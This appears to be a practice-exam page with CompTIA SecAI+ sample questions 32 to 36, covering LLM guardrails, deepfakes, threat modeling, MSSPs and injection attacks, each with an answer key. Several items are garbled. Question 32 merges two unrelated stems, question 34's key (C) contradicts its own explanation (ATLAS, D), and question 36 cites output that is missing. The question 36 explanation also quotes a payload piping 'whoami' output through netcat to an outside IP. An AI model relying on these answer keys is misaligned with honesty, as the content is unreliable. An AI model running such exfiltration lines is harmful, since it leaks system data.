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CompTIA SecAI+ Certification Exam Sample Questions (Q32-Q37):
NEW QUESTION # 32
An internal user enters a client credit card number into an internal generative machine learning (ML) model:
#User prompt: Customer Jane Doe has a new credit card that she wants to add to her account. The number is 5555-5555-5555-5555 Which of the following is the most effective way to prevent prompt injection attacks against a large language model (LLM)?
- A. Role-based access control
- B. Guardrails
- C. Web application firewall (WAF)
- D. Antivirus
Answer: B
Explanation:
Guardrails are the primary security control for LLMs to prevent prompt injection attacks. They enforce rules on what inputs are accepted and how the model responds, blocking malicious or sensitive prompts (such as credit card numbers) before they can manipulate or exploit the model.
NEW QUESTION # 33
A short AI-generated video shows a celebrity's likeness talking about a fake public security event.
Which of the following was used to create this video?
- A. Convolutional neural network
- B. Machine learning (ML) classifier
- C. Random forest
- D. Statistical analysis
Answer: A
Explanation:
Convolutional neural networks (CNNs) are commonly used in generating deepfake videos, where a person's likeness is realistically mapped and animated to create fake but convincing audiovisual content.
NEW QUESTION # 34
A security architect performs threat modeling of an AI system. The architect needs to determine which attacks can be performed against the system.
Which of the following actions should the architect take next?
- A. Leverage a large language model (LLM) to map likely attack paths based on the code base.
- B. Quantify the risk of known vulnerabilities identified in the AI system.
- C. Identify trust boundaries and perform threat modeling with Open Worldwide Application Security Project (OWASP) Top 10.
- D. Analyze MITRE Adversarial Threat Landscape for AI Systems (ATLAS) for tactics, techniques, and procedures (TTPs).
Answer: C
Explanation:
MITRE ATLAS is specifically designed to catalog adversarial TTPs targeting AI systems. By analyzing ATLAS, the architect can determine which types of attacks are possible against the AI system, making it the most appropriate resource for threat modeling in this context.
NEW QUESTION # 35
What is the PRIMARY purpose of an MSSP for small businesses?
- A. Develop internal apps
- B. Provide outsourced monitoring and threat detection
- C. Replace all internal IT
- D. Perform required compliance audits
Answer: B
Explanation:
MSSPs specialize in outsourced security monitoring and alerting.
NEW QUESTION # 36
A security analyst receives an alert about an AI system and is investigating the following output:
Which of the following is the most appropriate control the analyst should recommend?
- A. Hardening the Model Context Protocol server
- B. Monitoring logs for attack words from the system
- C. Implementing user input validation
- D. Integrating data sanitization
Answer: C
Explanation:
The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.
NEW QUESTION # 37
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